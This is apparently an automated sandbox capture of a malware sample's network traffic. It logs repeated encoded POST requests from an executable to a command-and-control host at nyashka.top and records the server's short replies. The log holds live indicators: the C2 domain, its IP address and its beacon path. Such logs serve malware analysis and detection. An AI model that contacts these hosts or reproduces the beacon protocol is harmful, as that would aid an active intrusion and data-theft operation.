Jan 7, 2025 11:58:13.804177046 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:14.151956081 CET	2536	OUT	Data Raw: 50 5d 5c 5c 5f 45 59 55 5a 59 51 55 5a 54 50 56 55 55 5b 52 55 53 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P]\\_EYUZYQUZTPVUU[RUST\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\">_< ;_6'0?38%_',=#=8S4V%?$4X.$%[/ Q-
Jan 7, 2025 11:58:14.452128887 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:14.585320950 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49932	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:14.715848923 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49933	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:14.988063097 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:15.339560032 CET	1860	OUT	Data Raw: 50 59 5c 52 5a 43 59 57 5a 59 51 55 5a 58 50 52 55 53 5b 5a 55 51 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PY\RZCYWZYQUZXPRUS[ZUQT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\1<3?"]&&7$(&/"5=?>90? (_.%[/ Q-8
Jan 7, 2025 11:58:15.645164013 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:15.779230118 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 03 22 0a 28 0a 26 2e 2f 54 27 01 2d 0d 2b 1c 22 01 2b 33 3e 5f 24 28 3f 54 32 02 09 58 21 05 28 09 2a 11 39 58 36 09 31 09 32 39 28 5c 00 1b 27 04 33 0b 33 1f 3e 0c 04 1e 26 09 03 05 26 54 3b 06 22 2d 08 55 21 2a 3d 1f 37 2e 20 1b 39 3e 24 0a 2a 24 3b 5e 2e 24 3f 5c 23 29 20 51 0d 17 38 15 30 3d 23 01 30 5a 3d 02 36 37 3b 08 23 0b 21 5c 25 2c 26 5b 26 03 2f 5c 2b 29 16 13 22 3c 3d 5d 22 5e 33 57 36 14 07 0f 28 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %"(&./T'-+"+3>_$(?T2X!(9X6129(\'33>&&T;"-U!=7. 9>$*$;^.$?\#) Q80=#0Z=67;#!\%,&[&/\+)"<=]"^3W6(<#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49934	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:14.988110065 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:15.339560032 CET	2536	OUT	Data Raw: 55 5e 59 58 5a 44 59 57 5a 59 51 55 5a 54 50 55 55 54 5b 52 55 51 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U^YXZDYWZYQUZTPUUT[RUQTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<1!+?\"38$& '-'%^!>T*:30/X#(_.4%[/ Q-
Jan 7, 2025 11:58:15.644359112 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:15.774910927 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49944	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:15.911669970 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:16.261389017 CET	2536	OUT	Data Raw: 55 5e 5c 52 5a 45 5c 56 5a 59 51 55 5a 59 50 5c 55 5e 5b 52 55 53 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U^\RZE\VZYQUZYP\U^[RUSTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%+W2?#0 ,',U'8$<!6-$T*9,3$_#94%[/ Q-<
Jan 7, 2025 11:58:16.556817055 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:16.692776918 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49950	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:16.824744940 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:17.183183908 CET	2536	OUT	Data Raw: 50 52 59 58 5f 42 5c 51 5a 59 51 55 5a 55 50 56 55 54 5b 52 55 56 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PRYX_B\QZYQUZUPVUT[RUVT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\*"2_>3#5#'<V$8X3/9Y6<(9$3?#U<Y9%[/ Q-
Jan 7, 2025 11:58:17.506191015 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:17.640724897 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49957	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:17.763370037 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:18.120778084 CET	2536	OUT	Data Raw: 50 5e 5c 5e 5f 45 5c 56 5a 59 51 55 5a 5d 50 57 55 51 5b 5b 55 57 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^\^_E\VZYQUZ]PWUQ[[UWT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%_(W9+#,6/'%<P086$%Y#-$W>#$( U<\9%[/ Q-,
Jan 7, 2025 11:58:18.418359041 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:18.584285021 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W
Jan 7, 2025 11:58:18.829806089 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49963	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:18.831490993 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:19.186757088 CET	2536	OUT	Data Raw: 50 5d 59 5e 5f 49 59 50 5a 59 51 55 5a 59 50 5c 55 54 5b 5d 55 5f 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P]Y^_IYPZYQUZYP\UT[]U_TXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&*1(#Z!#]357'&/:5=#(930$ $.%[/ Q-<
Jan 7, 2025 11:58:19.467375040 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:19.595249891 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49969	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:19.732399940 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:20.089550972 CET	2536	OUT	Data Raw: 50 58 59 5b 5f 44 59 53 5a 59 51 55 5a 54 50 5d 55 56 5b 5c 55 5e 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PXY[_DYSZYQUZTP]UV[\U^T]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?.^?0060+0?%()'Z"!>?>_0V$$#U$\:4%[/ Q-
Jan 7, 2025 11:58:20.387481928 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:20.542830944 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49975	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:20.669102907 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49981	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:20.798834085 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:21.151984930 CET	1860	OUT	Data Raw: 50 59 59 58 5a 44 59 50 5a 59 51 55 5a 55 50 50 55 5f 5b 5f 55 55 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PYYXZDYPZYQUZUPPU_[_UUT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+12[< "V;'4V35$9!?**4V'#$\-%[/ Q-
Jan 7, 2025 11:58:21.436938047 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:21.567059040 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 02 22 42 30 0e 24 2e 2c 09 30 38 2e 50 29 21 21 5b 2b 0d 2a 5b 24 01 33 12 26 12 2b 10 21 5a 2f 18 2a 01 32 05 22 1e 21 0d 27 39 28 5c 00 1b 27 00 30 0b 33 53 29 1c 32 1e 31 09 00 14 31 0c 02 1b 22 2e 21 09 36 07 39 54 20 13 0e 51 2e 10 3c 0e 3f 24 30 05 2e 34 3c 05 20 29 20 51 0d 17 38 56 30 00 3f 03 33 2c 32 12 36 27 1a 12 34 1b 0b 5d 32 5a 3e 12 31 03 0d 5c 28 17 3c 5e 22 2f 3e 00 35 5e 33 10 21 5c 31 0a 3d 06 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %"B0$.,08.P)!![+[$3&+!Z/2"!'9(\'03S)211".!69T Q.<?$0.4< ) Q8V0?3,26'4]2Z>1\(<^"/>5^3!\1=#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49982	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:20.920957088 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:21.277215004 CET	2536	OUT	Data Raw: 55 5d 5c 53 5a 44 5c 50 5a 59 51 55 5a 54 50 57 55 55 5b 5e 55 54 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\SZD\PZYQUZTPWUU[^UTTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(W:]?3\50$3&+'93/:!V)?0?4(.4%[/ Q-
Jan 7, 2025 11:58:21.594249964 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:21.728714943 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49988	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:21.856573105 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2532 Expect: 100-continue
Jan 7, 2025 11:58:22.214437008 CET	2532	OUT	Data Raw: 50 58 59 5c 5f 45 59 55 5a 59 51 55 5a 5c 50 53 55 5f 5b 58 55 54 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PXY\_EYUZYQUZ\PSU_[XUTTRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y+!("#35V'=X$Z!^#=/>0U%? " ,-%[/ Q-0
Jan 7, 2025 11:58:22.521430016 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:22.656677008 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49994	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:22.801465988 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:23.151928902 CET	2536	OUT	Data Raw: 50 5a 59 5b 5a 42 59 52 5a 59 51 55 5a 5d 50 56 55 54 5b 5e 55 5f 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PZY[ZBYRZYQUZ]PVUT[^U_T]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?1-<36[0$P0=Y'!"-$R*: T'43 .%[/ Q-,
Jan 7, 2025 11:58:23.446643114 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:23.580897093 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50001	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:23.699721098 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:24.058171034 CET	2536	OUT	Data Raw: 50 53 5c 5d 5f 48 59 54 5a 59 51 55 5a 5b 50 5d 55 54 5b 53 55 57 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PS\]_HYTZYQUZ[P]UT[SUWT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<:[(U 68$%'$(3,!6>')90'/?7<.%[/ Q-
Jan 7, 2025 11:58:24.357175112 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:24.486891985 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50011	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:24.603809118 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:24.948781967 CET	2536	OUT	Data Raw: 50 5f 59 5e 5a 45 59 52 5a 59 51 55 5a 5b 50 55 55 50 5b 53 55 5e 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_Y^ZEYRZYQUZ[PUUP[SU^T[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\+(!0,$C T$]3^5>(=07 U;.4%[/ Q-
Jan 7, 2025 11:58:25.263168097 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:25.639997959 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W
Jan 7, 2025 11:58:25.640012026 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50017	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
